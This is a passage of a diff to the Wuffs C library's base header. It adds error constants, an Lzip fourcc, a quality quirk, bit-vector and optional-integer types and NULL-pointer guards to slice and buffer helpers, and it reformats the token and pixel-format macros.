returns void, you can't say "x = f()", but in - // Wuffs, if a function g returns empty, you can say "y = g()". -@@ -483,6 +588,7 @@ extern const char wuffs_base__suspension__even_more_information[]; - extern const char wuffs_base__suspension__mispositioned_read[]; - extern const char wuffs_base__suspension__mispositioned_write[]; - extern const char wuffs_base__suspension__short_read[]; -+extern const char wuffs_base__suspension__short_workbuf[]; - extern const char wuffs_base__suspension__short_write[]; - extern const char wuffs_base__error__bad_i_o_position[]; - extern const char wuffs_base__error__bad_argument_length_too_short[]; -@@ -496,9 +602,11 @@ extern const char wuffs_base__error__bad_vtable[]; - extern const char wuffs_base__error__bad_workbuf_length[]; - extern const char wuffs_base__error__bad_wuffs_version[]; - extern const char wuffs_base__error__cannot_return_a_suspension[]; -+extern const char wuffs_base__error__disabled_by_wuffs_config_dst_pixel_format_enable_allowlist[]; - extern const char wuffs_base__error__disabled_by_previous_error[]; - extern const char wuffs_base__error__initialize_falsely_claimed_already_zeroed[]; - extern const char wuffs_base__error__initialize_not_called[]; -+extern const char wuffs_base__error__insufficient_history[]; - extern const char wuffs_base__error__interleaved_coroutine_calls[]; - extern const char wuffs_base__error__no_more_information[]; - extern const char wuffs_base__error__not_enough_data[]; -@@ -728,6 +836,9 @@ typedef struct wuffs_base__transform__output__struct { - // Lempel–Ziv 4. - #define WUFFS_BASE__FOURCC__LZ4 0x4C5A3420 - -+// Lzip. -+#define WUFFS_BASE__FOURCC__LZIP 0x4C5A4950 -+ - // Lempel–Ziv Markov-chain Algorithm. - #define WUFFS_BASE__FOURCC__LZMA 0x4C5A4D41 - -@@ -839,6 +950,8 @@ typedef struct wuffs_base__transform__output__struct { - - #define WUFFS_BASE__QUIRK_IGNORE_CHECKSUM 1 - -+#define WUFFS_BASE__QUIRK_QUALITY 2 -+ - // -------- - - // Flicks are a unit of time. One flick (frame-tick) is 1 / 705_600_000 of a -@@ -1092,6 +1205,96 @@ wuffs_base__multiply_u64(uint64_t x, uint64_t y) { - - // -------- - -+typedef struct wuffs_base__bitvec256__struct { -+ // elements_u64[0] holds the LSBs (least significant bits) and -+ // elements_u64[3] holds the MSBs (most significant bits). -+ uint64_t elements_u64[4]; -+} wuffs_base__bitvec256; -+ -+static inline wuffs_base__bitvec256 // -+wuffs_base__make_bitvec256(uint64_t e00, -+ uint64_t e01, -+ uint64_t e02, -+ uint64_t e03) { -+ wuffs_base__bitvec256 res; -+ res.elements_u64[0] = e00; -+ res.elements_u64[1] = e01; -+ res.elements_u64[2] = e02; -+ res.elements_u64[3] = e03; -+ return res; -+} -+ -+static inline uint64_t // -+wuffs_base__bitvec256__get_u64(const wuffs_base__bitvec256* b, uint32_t i) { -+ return b->elements_u64[i & 3]; -+} -+ -+// -------- -+ -+// wuffs_base__optional_u63 is like a std::optional, but for C (not -+// just C++) and the value can only hold 63 bits (not 64). -+// -+// Do not manipulate repr directly; it is a private implementation detail. -+typedef struct wuffs_base__optional_u63__struct { -+ uint64_t repr; -+ -+#ifdef __cplusplus -+ inline bool has_value() const; -+ inline uint64_t value() const; -+ inline uint64_t value_or(uint64_t default_value) const; -+#endif // __cplusplus -+ -+} wuffs_base__optional_u63; -+ -+// wuffs_base__make_optional_u63 ignores value when has_value is false. -+// -+// Preconditions: -+// - value < (1 << 63). -+static inline wuffs_base__optional_u63 // -+wuffs_base__make_optional_u63(bool has_value, uint64_t value) { -+ wuffs_base__optional_u63 res; -+ res.repr = has_value ? ((value << 1u) | 1u) : 0u; -+ return res; -+} -+ -+static inline bool // -+wuffs_base__optional_u63__has_value(const wuffs_base__optional_u63* o) { -+ return o->repr; -+} -+ -+// wuffs_base__optional_u63__value returns zero when o does not have a value. -+static inline uint64_t // -+wuffs_base__optional_u63__value(const wuffs_base__optional_u63* o) { -+ return o->repr >> 1u; -+} -+ -+static inline uint64_t // -+wuffs_base__optional_u63__value_or(const wuffs_base__optional_u63* o, -+ uint64_t default_value) { -+ return o->repr ? (o->repr >> 1u) : default_value; -+} -+ -+#ifdef __cplusplus -+ -+inline bool // -+wuffs_base__optional_u63::has_value() const { -+ return wuffs_base__optional_u63__has_value(this); -+} -+ -+inline uint64_t // -+wuffs_base__optional_u63::value() const { -+ return wuffs_base__optional_u63__value(this); -+} -+ -+inline uint64_t // -+wuffs_base__optional_u63::value_or(uint64_t default_value) const { -+ return wuffs_base__optional_u63__value_or(this, default_value); -+} -+ -+#endif // __cplusplus -+ -+// -------- -+ - // The "defined(__clang__)" isn't redundant. While vanilla clang defines - // __GNUC__, clang-cl (which mimics MSVC's cl.exe) does not. - #if (defined(__GNUC__) || defined(__clang__)) && (__SIZEOF_LONG__ == 8) -@@ -1529,7 +1732,7 @@ wuffs_base__make_slice_u64(uint64_t* ptr, size_t len) { - static inline wuffs_base__slice_u8 // - wuffs_base__make_slice_u8_ij(uint8_t* ptr, size_t i, size_t j) { - wuffs_base__slice_u8 ret; -- ret.ptr = ptr + i; -+ ret.ptr = ptr ? (ptr + i) : NULL; - ret.len = (j >= i) ? (j - i) : 0; - return ret; - } -@@ -1537,7 +1740,7 @@ wuffs_base__make_slice_u8_ij(uint8_t* ptr, size_t i, size_t j) { - static inline wuffs_base__slice_u16 // - wuffs_base__make_slice_u16_ij(uint16_t* ptr, size_t i, size_t j) { - wuffs_base__slice_u16 ret; -- ret.ptr = ptr + i; -+ ret.ptr = ptr ? (ptr + i) : NULL; - ret.len = (j >= i) ? (j - i) : 0; - return ret; - } -@@ -1545,7 +1748,7 @@ wuffs_base__make_slice_u16_ij(uint16_t* ptr, size_t i, size_t j) { - static inline wuffs_base__slice_u32 // - wuffs_base__make_slice_u32_ij(uint32_t* ptr, size_t i, size_t j) { - wuffs_base__slice_u32 ret; -- ret.ptr = ptr + i; -+ ret.ptr = ptr ? (ptr + i) : NULL; - ret.len = (j >= i) ? (j - i) : 0; - return ret; - } -@@ -1553,7 +1756,7 @@ wuffs_base__make_slice_u32_ij(uint32_t* ptr, size_t i, size_t j) { - static inline wuffs_base__slice_u64 // - wuffs_base__make_slice_u64_ij(uint64_t* ptr, size_t i, size_t j) { - wuffs_base__slice_u64 ret; -- ret.ptr = ptr + i; -+ ret.ptr = ptr ? (ptr + i) : NULL; - ret.len = (j >= i) ? (j - i) : 0; - return ret; - } -@@ -1696,7 +1899,7 @@ wuffs_base__slice_u8__subslice_i(wuffs_base__slice_u8 s, uint64_t i) { - if ((i <= SIZE_MAX) && (i <= s.len)) { - return wuffs_base__make_slice_u8(s.ptr + i, ((size_t)(s.len - i))); - } -- return wuffs_base__make_slice_u8(NULL, 0); -+ return wuffs_base__empty_slice_u8(); - } - - // wuffs_base__slice_u8__subslice_j returns s[:j]. -@@ -1707,7 +1910,7 @@ wuffs_base__slice_u8__subslice_j(wuffs_base__slice_u8 s, uint64_t j) { - if ((j <= SIZE_MAX) && (j <= s.len)) { - return wuffs_base__make_slice_u8(s.ptr, ((size_t)j)); - } -- return wuffs_base__make_slice_u8(NULL, 0); -+ return wuffs_base__empty_slice_u8(); - } - - // wuffs_base__slice_u8__subslice_ij returns s[i:j]. -@@ -1720,7 +1923,7 @@ wuffs_base__slice_u8__subslice_ij(wuffs_base__slice_u8 s, - if ((i <= j) && (j <= SIZE_MAX) && (j <= s.len)) { - return wuffs_base__make_slice_u8(s.ptr + i, ((size_t)(j - i))); - } -- return wuffs_base__make_slice_u8(NULL, 0); -+ return wuffs_base__empty_slice_u8(); - } - - // wuffs_base__table_u8__subtable_ij returns t[ix:jx, iy:jy]. -@@ -1814,6 +2017,20 @@ WUFFS_BASE__MAYBE_STATIC int32_t // - wuffs_base__magic_number_guess_fourcc(wuffs_base__slice_u8 prefix_data, - bool prefix_closed); - -+// ---------------- Quirk Values -+ -+// These constants are the value half of a key-value pair, where the key is -+// WUFFS_BASE__QUIRK_QUALITY. -+// -+// In the Wuffs API, set_quirk takes a u64 value. These macro definitions are -+// likewise unsigned values (uint64_t) but for this particular key, they are -+// best interpreted as signed values (int64_t). "Lower-than-default quality" -+// and "higher-than-default quality", as signed values, are -1 and +1. -+// -+// See doc/note/quirks.md for some more discussion about trade-offs. -+#define WUFFS_BASE__QUIRK_QUALITY__VALUE__LOWER_QUALITY UINT64_MAX -+#define WUFFS_BASE__QUIRK_QUALITY__VALUE__HIGHER_QUALITY ((uint64_t)1) -+ - // ---------------- Ranges and Rects - - // See https://github.com/google/wuffs/blob/main/doc/note/ranges-and-rects.md -@@ -3011,7 +3228,8 @@ wuffs_base__io_buffer__compact(wuffs_base__io_buffer* buf) { - // wuffs_base__io_buffer__compact_retaining moves any written but unread bytes - // closer to the start of the buffer. It retains H bytes of history (the most - // recently read bytes), where H is min(buf->meta.ri, history_retain_length). --// A postcondition is that buf->meta.ri == H. -+// It is therefore a no-op if history_retain_length is UINT64_MAX. A -+// postcondition is that buf->meta.ri == H. - // - // wuffs_base__io_buffer__compact_retaining(0) is equivalent to - // wuffs_base__io_buffer__compact(). -@@ -3056,7 +3274,7 @@ wuffs_base__io_buffer__reader_length(const wuffs_base__io_buffer* buf) { - - static inline uint8_t* // - wuffs_base__io_buffer__reader_pointer(const wuffs_base__io_buffer* buf) { -- return buf ? (buf->data.ptr + buf->meta.ri) : NULL; -+ return (buf && buf->data.ptr) ? (buf->data.ptr + buf->meta.ri) : NULL; - } - - static inline uint64_t // -@@ -3066,7 +3284,8 @@ wuffs_base__io_buffer__reader_position(const wuffs_base__io_buffer* buf) { - - static inline wuffs_base__slice_u8 // - wuffs_base__io_buffer__reader_slice(const wuffs_base__io_buffer* buf) { -- return buf ? wuffs_base__make_slice_u8(buf->data.ptr + buf->meta.ri, -+ return (buf && buf->data.ptr) -+ ? wuffs_base__make_slice_u8(buf->data.ptr + buf->meta.ri, - buf->meta.wi - buf->meta.ri) - : wuffs_base__empty_slice_u8(); - } -@@ -3078,7 +3297,7 @@ wuffs_base__io_buffer__writer_length(const wuffs_base__io_buffer* buf) { - - static inline uint8_t* // - wuffs_base__io_buffer__writer_pointer(const wuffs_base__io_buffer* buf) { -- return buf ? (buf->data.ptr + buf->meta.wi) : NULL; -+ return (buf && buf->data.ptr) ? (buf->data.ptr + buf->meta.wi) : NULL; - } - - static inline uint64_t // -@@ -3088,7 +3307,8 @@ wuffs_base__io_buffer__writer_position(const wuffs_base__io_buffer* buf) { - - static inline wuffs_base__slice_u8 // - wuffs_base__io_buffer__writer_slice(const wuffs_base__io_buffer* buf) { -- return buf ? wuffs_base__make_slice_u8(buf->data.ptr + buf->meta.wi, -+ return (buf && buf->data.ptr) -+ ? wuffs_base__make_slice_u8(buf->data.ptr + buf->meta.wi, - buf->data.len - buf->meta.wi) - : wuffs_base__empty_slice_u8(); - } -@@ -3183,49 +3403,53 @@ wuffs_base__make_token(uint64_t repr) { - - // -------- - -+// clang-format off -+ -+// -------- -+ - #define WUFFS_BASE__TOKEN__LENGTH__MAX_INCL 0xFFFF - --#define WUFFS_BASE__TOKEN__VALUE__SHIFT 17 --#define WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT 17 --#define WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT 42 --#define WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT 17 -+#define WUFFS_BASE__TOKEN__VALUE__SHIFT 17 -+#define WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT 17 -+#define WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT 42 -+#define WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT 17 - #define WUFFS_BASE__TOKEN__VALUE_BASE_CATEGORY__SHIFT 38 --#define WUFFS_BASE__TOKEN__VALUE_BASE_DETAIL__SHIFT 17 --#define WUFFS_BASE__TOKEN__CONTINUED__SHIFT 16 --#define WUFFS_BASE__TOKEN__LENGTH__SHIFT 0 -+#define WUFFS_BASE__TOKEN__VALUE_BASE_DETAIL__SHIFT 17 -+#define WUFFS_BASE__TOKEN__CONTINUED__SHIFT 16 -+#define WUFFS_BASE__TOKEN__LENGTH__SHIFT 0 - --#define WUFFS_BASE__TOKEN__VALUE_EXTENSION__NUM_BITS 46 -+#define WUFFS_BASE__TOKEN__VALUE_EXTENSION__NUM_BITS 46 - - // -------- - --#define WUFFS_BASE__TOKEN__VBC__FILLER 0 --#define WUFFS_BASE__TOKEN__VBC__STRUCTURE 1 --#define WUFFS_BASE__TOKEN__VBC__STRING 2 --#define WUFFS_BASE__TOKEN__VBC__UNICODE_CODE_POINT 3 --#define WUFFS_BASE__TOKEN__VBC__LITERAL 4 --#define WUFFS_BASE__TOKEN__VBC__NUMBER 5 --#define WUFFS_BASE__TOKEN__VBC__INLINE_INTEGER_SIGNED 6 -+#define WUFFS_BASE__TOKEN__VBC__FILLER 0 -+#define WUFFS_BASE__TOKEN__VBC__STRUCTURE 1 -+#define WUFFS_BASE__TOKEN__VBC__STRING 2 -+#define WUFFS_BASE__TOKEN__VBC__UNICODE_CODE_POINT 3 -+#define WUFFS_BASE__TOKEN__VBC__LITERAL 4 -+#define WUFFS_BASE__TOKEN__VBC__NUMBER 5 -+#define WUFFS_BASE__TOKEN__VBC__INLINE_INTEGER_SIGNED 6 - #define WUFFS_BASE__TOKEN__VBC__INLINE_INTEGER_UNSIGNED 7 - - // -------- - --#define WUFFS_BASE__TOKEN__VBD__FILLER__PUNCTUATION 0x00001 -+#define WUFFS_BASE__TOKEN__VBD__FILLER__PUNCTUATION 0x00001 - #define WUFFS_BASE__TOKEN__VBD__FILLER__COMMENT_BLOCK 0x00002 --#define WUFFS_BASE__TOKEN__VBD__FILLER__COMMENT_LINE 0x00004 -+#define WUFFS_BASE__TOKEN__VBD__FILLER__COMMENT_LINE 0x00004 - - // COMMENT_ANY is a bit-wise or of COMMENT_BLOCK AND COMMENT_LINE. --#define WUFFS_BASE__TOKEN__VBD__FILLER__COMMENT_ANY 0x00006 -+#define WUFFS_BASE__TOKEN__VBD__FILLER__COMMENT_ANY 0x00006 - - // -------- - --#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__PUSH 0x00001 --#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__POP 0x00002 -+#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__PUSH 0x00001 -+#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__POP 0x00002 - #define WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_NONE 0x00010 - #define WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_LIST 0x00020 - #define WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_DICT 0x00040 --#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE 0x01000 --#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST 0x02000 --#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT 0x04000 -+#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE 0x01000 -+#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST 0x02000 -+#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT 0x04000 - - // -------- - -@@ -3245,11 +3469,11 @@ wuffs_base__make_token(uint64_t repr) { - // - // The lack of any particular bit is conservative: it is valid for all-ASCII - // strings, in a single- or multi-token chain, to have none of these bits set. --#define WUFFS_BASE__TOKEN__VBD__STRING__DEFINITELY_UTF_8 0x00001 --#define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_MUST_BE_UTF_8 0x00002 -+#define WUFFS_BASE__TOKEN__VBD__STRING__DEFINITELY_UTF_8 0x00001 -+#define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_MUST_BE_UTF_8 0x00002 - #define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_SHOULD_BE_UTF_8 0x00004 --#define WUFFS_BASE__TOKEN__VBD__STRING__DEFINITELY_ASCII 0x00010 --#define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_MUST_BE_ASCII 0x00020 -+#define WUFFS_BASE__TOKEN__VBD__STRING__DEFINITELY_ASCII 0x00010 -+#define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_MUST_BE_ASCII 0x00020 - #define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_SHOULD_BE_ASCII 0x00040 - - // CONVERT_D_DST_S_SRC means that multiples of S source bytes (possibly padded) -@@ -3264,22 +3488,22 @@ wuffs_base__make_token(uint64_t repr) { - // When src is the empty string, multiple conversion algorithms are applicable - // (so these bits are not necessarily mutually exclusive), all producing the - // same empty dst string. --#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_0_DST_1_SRC_DROP 0x00100 --#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_1_DST_1_SRC_COPY 0x00200 -+#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_0_DST_1_SRC_DROP 0x00100 -+#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_1_DST_1_SRC_COPY 0x00200 - #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_1_DST_2_SRC_HEXADECIMAL 0x00400 - #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_1_DST_4_SRC_BACKSLASH_X 0x00800 - #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_3_DST_4_SRC_BASE_64_STD 0x01000 - #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_3_DST_4_SRC_BASE_64_URL 0x02000 --#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_4_DST_5_SRC_ASCII_85 0x04000 -+#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_4_DST_5_SRC_ASCII_85 0x04000 - #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_5_DST_8_SRC_BASE_32_HEX 0x08000 - #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_5_DST_8_SRC_BASE_32_STD 0x10000 - - // -------- - - #define WUFFS_BASE__TOKEN__VBD__LITERAL__UNDEFINED 0x00001 --#define WUFFS_BASE__TOKEN__VBD__LITERAL__NULL 0x00002 --#define WUFFS_BASE__TOKEN__VBD__LITERAL__FALSE 0x00004 --#define WUFFS_BASE__TOKEN__VBD__LITERAL__TRUE 0x00008 -+#define WUFFS_BASE__TOKEN__VBD__LITERAL__NULL 0x00002 -+#define WUFFS_BASE__TOKEN__VBD__LITERAL__FALSE 0x00004 -+#define WUFFS_BASE__TOKEN__VBD__LITERAL__TRUE 0x00008 - - // -------- - -@@ -3292,8 +3516,8 @@ wuffs_base__make_token(uint64_t repr) { - // For a source string of "+123" or "-0x9A", only the first two are valid. - // - // For a source string of "123.", only the first one is valid. --#define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_FLOATING_POINT 0x00001 --#define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_INTEGER_SIGNED 0x00002 -+#define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_FLOATING_POINT 0x00001 -+#define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_INTEGER_SIGNED 0x00002 - #define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_INTEGER_UNSIGNED 0x00004 - - #define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_NEG_INF 0x00010 -@@ -3305,11 +3529,15 @@ wuffs_base__make_token(uint64_t repr) { - // "300", which are big-endian, little-endian or text. For binary formats, the - // token length (after adjusting for FORMAT_IGNORE_ETC) discriminates - // e.g. u16 little-endian vs u32 little-endian. --#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_BINARY_BIG_ENDIAN 0x00100 -+#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_BINARY_BIG_ENDIAN 0x00100 - #define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_BINARY_LITTLE_ENDIAN 0x00200 --#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_TEXT 0x00400 -+#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_TEXT 0x00400 -+ -+#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_IGNORE_FIRST_BYTE 0x01000 -+ -+// -------- - --#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_IGNORE_FIRST_BYTE 0x01000 -+// clang-format on - - // -------- - -@@ -3421,6 +3649,22 @@ wuffs_base__token::length() const { - - // -------- - -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wcast-qual" -+#endif -+ -+static inline wuffs_base__token* // -+wuffs_base__strip_const_from_token_ptr(const wuffs_base__token* ptr) { -+ return (wuffs_base__token*)ptr; -+} -+ -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ -+// -------- -+ - typedef WUFFS_BASE__SLICE(wuffs_base__token) wuffs_base__slice_token; - - static inline wuffs_base__slice_token // -@@ -3574,7 +3818,8 @@ wuffs_base__token_buffer__compact(wuffs_base__token_buffer* buf) { - // wuffs_base__token_buffer__compact_retaining moves any written but unread - // tokens closer to the start of the buffer. It retains H tokens of history - // (the most recently read tokens), where H is min(buf->meta.ri, --// history_retain_length). A postcondition is that buf->meta.ri == H. -+// history_retain_length). It is therefore a no-op if history_retain_length is -+// UINT64_MAX. A postcondition is that buf->meta.ri == H. - // - // wuffs_base__token_buffer__compact_retaining(0) is equivalent to - // wuffs_base__token_buffer__compact(). -@@ -3730,51 +3975,51 @@ wuffs_base__token_buffer::writer_token_position() const { - // - // You can pass the C stdlib's malloc as the malloc_func. - // --// It returns an empty slice (containing a NULL ptr field) if (num_uxx * --// sizeof(uintxx_t)) would overflow SIZE_MAX. -+// It returns an empty slice (containing a NULL ptr field) if num_uxx is zero -+// or if (num_uxx * sizeof(uintxx_t)) would overflow SIZE_MAX. - - static inline wuffs_base__slice_u8 // - wuffs_base__malloc_slice_u8(void* (*malloc_func)(size_t), uint64_t num_u8) { -- if (malloc_func && (num_u8 <= (SIZE_MAX / sizeof(uint8_t)))) { -+ if (malloc_func && num_u8 && (num_u8 <= (SIZE_MAX / sizeof(uint8_t)))) { - void* p = (*malloc_func)((size_t)(num_u8 * sizeof(uint8_t))); - if (p) { - return wuffs_base__make_slice_u8((uint8_t*)(p), (size_t)num_u8); - } - } -- return wuffs_base__make_slice_u8(NULL, 0); -+ return wuffs_base__empty_slice_u8(); - } - - static inline wuffs_base__slice_u16 // - wuffs_base__malloc_slice_u16(void* (*malloc_func)(size_t), uint64_t num_u16) { -- if (malloc_func && (num_u16 <= (SIZE_MAX / sizeof(uint16_t)))) { -+ if (malloc_func && num_u16 && (num_u16 <= (SIZE_MAX / sizeof(uint16_t)))) { - void* p = (*malloc_func)((size_t)(num_u16 * sizeof(uint16_t))); - if (p) { - return wuffs_base__make_slice_u16((uint16_t*)(p), (size_t)num_u16); - } - } -- return wuffs_base__make_slice_u16(NULL, 0); -+ return wuffs_base__empty_slice_u16(); - } - - static inline wuffs_base__slice_u32 // - wuffs_base__malloc_slice_u32(void* (*malloc_func)(size_t), uint64_t num_u32) { -- if (malloc_func && (num_u32 <= (SIZE_MAX / sizeof(uint32_t)))) { -+ if (malloc_func && num_u32 && (num_u32 <= (SIZE_MAX / sizeof(uint32_t)))) { - void* p = (*malloc_func)((size_t)(num_u32 * sizeof(uint32_t))); - if (p) { - return wuffs_base__make_slice_u32((uint32_t*)(p), (size_t)num_u32); - } - } -- return wuffs_base__make_slice_u32(NULL, 0); -+ return wuffs_base__empty_slice_u32(); - } - - static inline wuffs_base__slice_u64 // - wuffs_base__malloc_slice_u64(void* (*malloc_func)(size_t), uint64_t num_u64) { -- if (malloc_func && (num_u64 <= (SIZE_MAX / sizeof(uint64_t)))) { -+ if (malloc_func && num_u64 && (num_u64 <= (SIZE_MAX / sizeof(uint64_t)))) { - void* p = (*malloc_func)((size_t)(num_u64 * sizeof(uint64_t))); - if (p) { - return wuffs_base__make_slice_u64((uint64_t*)(p), (size_t)num_u64); - } - } -- return wuffs_base__make_slice_u64(NULL, 0); -+ return wuffs_base__empty_slice_u64(); - } - - // ---------------- Images -@@ -3838,6 +4083,26 @@ wuffs_base__color_u32_argb_premul__as__color_u8_gray( - return (uint8_t)(weighted_average >> 24); - } - -+static inline uint16_t // -+wuffs_base__color_u32_argb_premul__as__color_u16_alpha_gray_nonpremul( -+ wuffs_base__color_u32_argb_premul c) { -+ uint32_t a = 0xFF & (c >> 24); -+ if (a == 0) { -+ return 0; -+ } -+ uint32_t a16 = a * 0x101; -+ -+ uint32_t cr = 0xFF & (c >> 16); -+ cr = (cr * (0x101 * 0xFFFF)) / a16; -+ uint32_t cg = 0xFF & (c >> 8); -+ cg = (cg * (0x101 * 0xFFFF)) / a16; -+ uint32_t cb = 0xFF & (c >> 0); -+ cb = (cb * (0x101 * 0xFFFF)) / a16; -+ -+ uint32_t weighted_average = (19595 * cr) + (38470 * cg) + (7471 * cb) + 32768; -+ return (uint16_t)((a16 & 0xFF00) | (weighted_average >> 24)); -+} -+ - static inline uint16_t // - wuffs_base__color_u32_argb_premul__as__color_u16_gray( - wuffs_base__color_u32_argb_premul c) { -@@ -4114,49 +4379,53 @@ wuffs_base__make_pixel_format(uint32_t repr) { - // Common 8-bit-depth pixel formats. This list is not exhaustive; not all valid - // wuffs_base__pixel_format values are present. - --#define WUFFS_BASE__PIXEL_FORMAT__INVALID 0x00000000 -+// clang-format off -+ -+#define WUFFS_BASE__PIXEL_FORMAT__INVALID 0x00000000 - --#define WUFFS_BASE__PIXEL_FORMAT__A 0x02000008 -+#define WUFFS_BASE__PIXEL_FORMAT__A 0x02000008 - --#define WUFFS_BASE__PIXEL_FORMAT__Y 0x20000008 --#define WUFFS_BASE__PIXEL_FORMAT__Y_16LE 0x2000000B --#define WUFFS_BASE__PIXEL_FORMAT__Y_16BE 0x2010000B --#define WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL 0x21000008 --#define WUFFS_BASE__PIXEL_FORMAT__YA_PREMUL 0x22000008 -+#define WUFFS_BASE__PIXEL_FORMAT__Y 0x20000008 -+#define WUFFS_BASE__PIXEL_FORMAT__Y_16LE 0x2000000B -+#define WUFFS_BASE__PIXEL_FORMAT__Y_16BE 0x2010000B -+#define WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL 0x21000088 -+#define WUFFS_BASE__PIXEL_FORMAT__YA_PREMUL 0x22000088 - --#define WUFFS_BASE__PIXEL_FORMAT__YCBCR 0x40020888 --#define WUFFS_BASE__PIXEL_FORMAT__YCBCRA_NONPREMUL 0x41038888 --#define WUFFS_BASE__PIXEL_FORMAT__YCBCRK 0x50038888 -+#define WUFFS_BASE__PIXEL_FORMAT__YCBCR 0x40020888 -+#define WUFFS_BASE__PIXEL_FORMAT__YCBCRA_NONPREMUL 0x41038888 -+#define WUFFS_BASE__PIXEL_FORMAT__YCBCRK 0x50038888 - --#define WUFFS_BASE__PIXEL_FORMAT__YCOCG 0x60020888 --#define WUFFS_BASE__PIXEL_FORMAT__YCOCGA_NONPREMUL 0x61038888 --#define WUFFS_BASE__PIXEL_FORMAT__YCOCGK 0x70038888 -+#define WUFFS_BASE__PIXEL_FORMAT__YCOCG 0x60020888 -+#define WUFFS_BASE__PIXEL_FORMAT__YCOCGA_NONPREMUL 0x61038888 -+#define WUFFS_BASE__PIXEL_FORMAT__YCOCGK 0x70038888 - --#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL 0x81040008 --#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL 0x82040008 --#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY 0x83040008 -+#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL 0x81040008 -+#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL 0x82040008 -+#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY 0x83040008 - --#define WUFFS_BASE__PIXEL_FORMAT__BGR_565 0x80000565 --#define WUFFS_BASE__PIXEL_FORMAT__BGR 0x80000888 --#define WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL 0x81008888 --#define WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE 0x8100BBBB --#define WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL 0x82008888 --#define WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE 0x8200BBBB --#define WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY 0x83008888 --#define WUFFS_BASE__PIXEL_FORMAT__BGRX 0x90008888 -+#define WUFFS_BASE__PIXEL_FORMAT__BGR_565 0x80000565 -+#define WUFFS_BASE__PIXEL_FORMAT__BGR 0x80000888 -+#define WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL 0x81008888 -+#define WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE 0x8100BBBB -+#define WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL 0x82008888 -+#define WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE 0x8200BBBB -+#define WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY 0x83008888 -+#define WUFFS_BASE__PIXEL_FORMAT__BGRX 0x90008888 - --#define WUFFS_BASE__PIXEL_FORMAT__RGB 0xA0000888 --#define WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL 0xA1008888 --#define WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE 0xA100BBBB --#define WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL 0xA2008888 --#define WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE 0xA200BBBB --#define WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY 0xA3008888 --#define WUFFS_BASE__PIXEL_FORMAT__RGBX 